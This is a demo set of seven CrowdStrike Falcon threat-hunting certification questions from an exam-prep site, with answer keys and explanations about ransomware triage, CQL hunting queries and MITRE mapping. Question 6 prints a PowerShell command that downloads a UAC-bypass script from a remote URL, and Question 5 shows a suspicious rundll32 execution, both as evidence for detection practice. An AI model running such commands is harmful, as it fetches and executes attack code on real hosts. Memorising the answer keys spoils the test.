PassQueen
a.k.a dumpsqueen.com

CrowdStrike Certified Falcon Hunter

CrowdStrike CCFH-202b

Version Demo

Total Demo Questions: 7

Total Premium Questions: 77

Buy Premium PDF

https://passqueen.com

support@passqueen.com

QUESTION NO: 1

You've experienced a ransomware infection that has spread throughout the enterprise. What is the first step you would take to determine the source of infection?

A. Perform a PowerShell hunt to look for suspicious PowerShell commands

B. Use Advanced Event Search to timeline encryption activity and determine the system with the first encryption event

C. Utilize Exposure Management to identify systems with critical vulnerabilities that could be exploited

D. Perform reverse engineering on the malware sample to see if you can find the infection vector

ANSWER: B

Explanation:

Use Advanced Event Search to timeline encryption activity and determine the system with the first encryption event is the appropriate first investigative action when the objective is to identify the source of a widespread ransomware incident. Ransomware activity produces time-stamped telemetry at scale, including process executions, file-write activity, file renames, and creation of ransom notes. Searching this telemetry across the environment and ordering the results chronologically enables the hunter to identify the earliest known affected host—the likely patient zero—and establish when the ransomware activity began.

From that earliest encryption event, the investigation can pivot backward on the same endpoint and user context to reconstruct the preceding activity. This establishes a focused path for finding the initial-access mechanism, such as an executed attachment, stolen-credential session, remote-management activity, or malicious payload download. Building a timeline also supports incident scoping by distinguishing the originating activity from later propagation and encryption on other systems. Falcon's event-search capabilities are designed to support this type of high-volume telemetry investigation and correlation, while CrowdStrike's ransomware guidance emphasizes rapid investigation and response to contain and remediate an incident. See CrowdStrike Next-Gen SIEM and CrowdStrike ransomware guidance.

QUESTION NO: 2

Multiple hosts show ransom notes and rapid file-renaming activity within the same hour. The incident-response team needs to identify the likely initial system before investigating possible entry vectors. What is the most effective first hunting action?

A. Perform reverse engineering on the ransomware sample before reviewing endpoint telemetry

B. Use Advanced Event Search to timeline encryption-related activity and identify the earliest affected host

C. Search all endpoints for PowerShell executions during the incident window

D. Use Exposure Management to identify every host with a critical vulnerability

ANSWER: B

Explanation:

Use Advanced Event Search to build a chronological timeline of the encryption-related activity and identify the host with the earliest observed event. The earliest affected system provides the strongest starting point for tracing backward through its process lineage, user activity, remote logons, downloads, and other events that may reveal initial access.

Beginning with every PowerShell event or every vulnerable system creates a broad and less evidence-driven investigation. Reverse engineering can provide useful malware intelligence, but it does not initially establish which endpoint was affected first in the environment.

QUESTION NO: 3

While performing a threat hunt in your environment, you decide to identify rare occurrences of user agent strings over the past 30 days. Which query will highlight those results using CQL?

A. groupBy(UserAgentString, function=collect([ComputerName, UserName, LocalAddressIP4])) | min(field=UserAgentString, limit=10)

B. selectFromMin(field=UserAgentString, include=[ComputerName, UserName, LocalAddressIP4])

C. groupBy(UserAgentString, function=[collect([ComputerName, UserName, LocalAddressIP4]), count()]) | sort(_count, order=asc, limit=10)

D. tail(field=UserAgentString, limit=10, include=[ComputerName, UserName, LocalAddressIP4])

ANSWER: C

Explanation:

The query `groupBy(UserAgentString, function=[collect([ComputerName, UserName, LocalAddressIP4]), count()] ) | sort(_count, order=asc, limit=10)` is the appropriate least-frequency-analysis query. `groupBy()` aggregates the event stream into one result per distinct `UserAgentString`. Its `count()` aggregation produces the `_count` value needed to measure how frequently each user-agent value occurred. Sorting that value in ascending order brings the least-observed user-agent strings to the top, and `limit=10` returns the ten rarest grouped results. This is useful during threat hunting because unusual user agents can reveal scripted tooling, nonstandard HTTP clients, or command-and-control activity that would be obscured by common browser and service traffic. The `collect()` aggregation preserves associated endpoint, user, and local-IP context for each grouped user agent, allowing the hunter to immediately pivot into the systems and identities involved without changing the grouping key. The 30-day scope is selected through the search time range for the query, so the aggregation and frequency calculation operate across that full investigation window. CrowdStrike LogScale CQL documents `groupBy()` as the function for aggregating events by field values and applying aggregate functions such as `count()`; see the groupBy() documentation and the sort() documentation.

QUESTION NO: 4

Which hunting query's results could indicate that an adversary is performing reconnaissance from a specific host?

A. #event_simpleName=ProcessRollup2 | aid=?aid | ImageFileName=/ (? < FileName > [^\\\/]*)$ / | FileName=/^(explorer|lsass|svchost|smss|winlogon|userinit)\.exe$/i | table([aid, UserName, ParentBaseFileName, ImageFileName, CommandLine] , limit=1000)

B. #event_simpleName=NetworkScanEvent | aid=?aid | !cidr(RemoteAddressIP4, subnet=["224.0.0.0/4", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/32"]) | table([aid, UserName, ParentBaseFileName, ImageFileName, CommandLine] , limit=1000)

C. #event_simpleName=NetworkConnect* | RemotePort=?RemotePort aid=?aid | !cidr(RemoteAddressIP4, subnet=["224.0.0.0/4", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/32"]) | table([aid, LocalAddressIP4, LocalPort, RemoteAddressIP4, RemotePort] , limit=1000)

D. #event_simpleName=ProcessRollup2 | aid=?aid | ImageFileName=/ (? < FileName > [^\\\/]*)$ / | FileName=/^(net|ipconfig|whoami|quser|ping|netstat|tasklist|hostname|at)\.exe$/i | table([aid, UserName, ParentBaseFileName, ImageFileName, CommandLine] , limit=1000)

ANSWER: D

Explanation:

The query that searches ProcessRollup2 events on a specified aid for net.exe, ipconfig.exe, whoami.exe, quser.exe, ping.exe, netstat.exe, tasklist.exe, hostname.exe, and at.exe is the appropriate reconnaissance-hunting query. The aid filter scopes the search to the particular endpoint under investigation, while ProcessRollup2 provides process-execution telemetry needed to identify commands launched on that host. These utilities can be used legitimately, but they are also commonly used by adversaries to rapidly collect details about the current user, hostname, network configuration, active connections, running processes, accessible users or systems, and scheduled tasks.

This activity maps to the Discovery tactic in MITRE ATT&CK. For example, whoami can support System Owner/User Discovery, ipconfig and netstat can support System Network Configuration Discovery, tasklist supports Process Discovery, and hostname supports System Name Discovery. A cluster of these executions, especially when initiated by an unusual parent process, account, or command sequence, can provide a strong hunting lead that an intruder is enumerating the environment before progressing to credential access, lateral movement, or collection. The returned user, parent process, image name, and command-line fields give the hunter the context needed to evaluate the behavior. See the MITRE ATT&CK Discovery tactic and Process Discovery reference.

QUESTION NO: 5

A ProcessRollup2 event shows the following command line:

```
rundll32.exe C:\Users\Public\update.dll,Start
```

The DLL is unsigned and was written minutes earlier by a browser child process. Which MITRE ATT&CK technique best describes the execution mechanism?

A. DLL Side-Loading

B. System Binary Proxy Execution: Rundll32

C. PowerShell

D. Scheduled Task/Job

ANSWER: B

Explanation:

System Binary Proxy Execution: Rundll32 is correct because the command uses the legitimate Windows `rundll32.exe` utility to load and execute an exported DLL function. In this scenario, the user-writable path, unsigned DLL, and preceding browser-related file write are important context that increases suspicion, but the execution mechanism itself is Rundll32 proxy execution.

PowerShell refers to a different command interpreter, DLL Side-Loading requires a legitimate executable to load a malicious DLL through search-order behavior, and Scheduled Task/Job requires task-registration or task-execution evidence.

QUESTION NO: 6

While performing a hunt for unusual PowerShell commands, you discover the following command being run on a single host:

powershell.exe "(New-Object Net.webclient).Downloadstring('https://raw.githubusercontent.com/.../invoke-AppPathBypass.ps1')"

The process tree for this command looks like this:

winlogon.exe > userinit.exe > explorer.exe > powershell_ise.exe > powershell.exe All of the commands are run during normal working hours under the account of a user from the IT department. What should be your next steps in the investigation?

A. Start an RTR (Real Time Response) session on the host. Check the user's Downloads folder for the file AppPathBypass.ps1 and analyze the file for malicious content.

B. Mark the detection as True Positive. Trigger an automated remediation to remove all malicious files and methods of persistence.

C. Mark the detection as a False Positive because nothing happened on the host.

D. Perform a +/- 10-minute search for events around this process execution to get more context. Contact the user to confirm whether or not this was testing-related activity.

ANSWER: D

Explanation:

Perform a +/- 10-minute search for events around this process execution to get more context. Contact the user to confirm whether or not this was testing-related activity. This is the appropriate next step because hunting requires assessing suspicious behavior in its operational context before assigning an incident disposition. The parent-child sequence begins in an interactive user logon session and proceeds through Explorer and PowerShell ISE, which is consistent with a user manually launching scripting activity. The IT-department account and normal business-hours timing further support the possibility of authorized testing, administration, or troubleshooting, but they do not establish authorization by themselves.

A focused time-window search can reveal the surrounding activity that determines intent: the initial PowerShell ISE commands, network connections, follow-on processes, script-block activity, file writes, and any persistence or credential-access behavior. The command uses PowerShell to retrieve script content from a remote location, a technique that deserves validation because PowerShell is frequently used for both legitimate automation and adversary execution. Directly confirming the activity with the user provides essential business context and establishes whether the action was expected. This evidence-driven workflow supports accurate triage while avoiding unnecessary disruption to a potentially legitimate IT task. See CrowdStrike's threat-hunting overview and MITRE ATT&CK's PowerShell technique reference.

QUESTION NO: 7

Which pre-defined reports will show activities that typically indicate suspicious activity occurring on a system?

A. Sensor reports

B. Timeline reports

C. Scheduled searches

D. Hunt reports

ANSWER: D

Explanation:

Hunt reports are the predefined Falcon reports intended to help analysts identify activity that commonly warrants investigation, even when it has not resulted in a conventional detection. They provide curated views of endpoint behaviors and patterns associated with suspicious or potentially malicious tradecraft, giving a hunter practical starting points for proactive review. Rather than requiring an analyst to begin with a fully custom query, these reports focus attention on notable activity that can indicate abuse of legitimate tools, unusual process execution patterns, persistence-related behavior, or other endpoint events that deserve context-driven investigation.

In a hunting workflow, the value of Hunt reports is that they help turn broad telemetry into prioritized investigative leads. An analyst can review the surfaced activity, pivot into the relevant endpoint and event context, assess the parent/child process chain and user or host details, and then determine whether the behavior is expected in that environment. This supports proactive threat hunting by finding behaviors that may be suspicious before they are confirmed as malicious. CrowdStrike's Falcon platform documentation and threat-hunting resources describe using Falcon telemetry and investigative context to identify and validate suspicious adversary behaviors: CrowdStrike Threat Hunting and CrowdStrike Falcon Platform.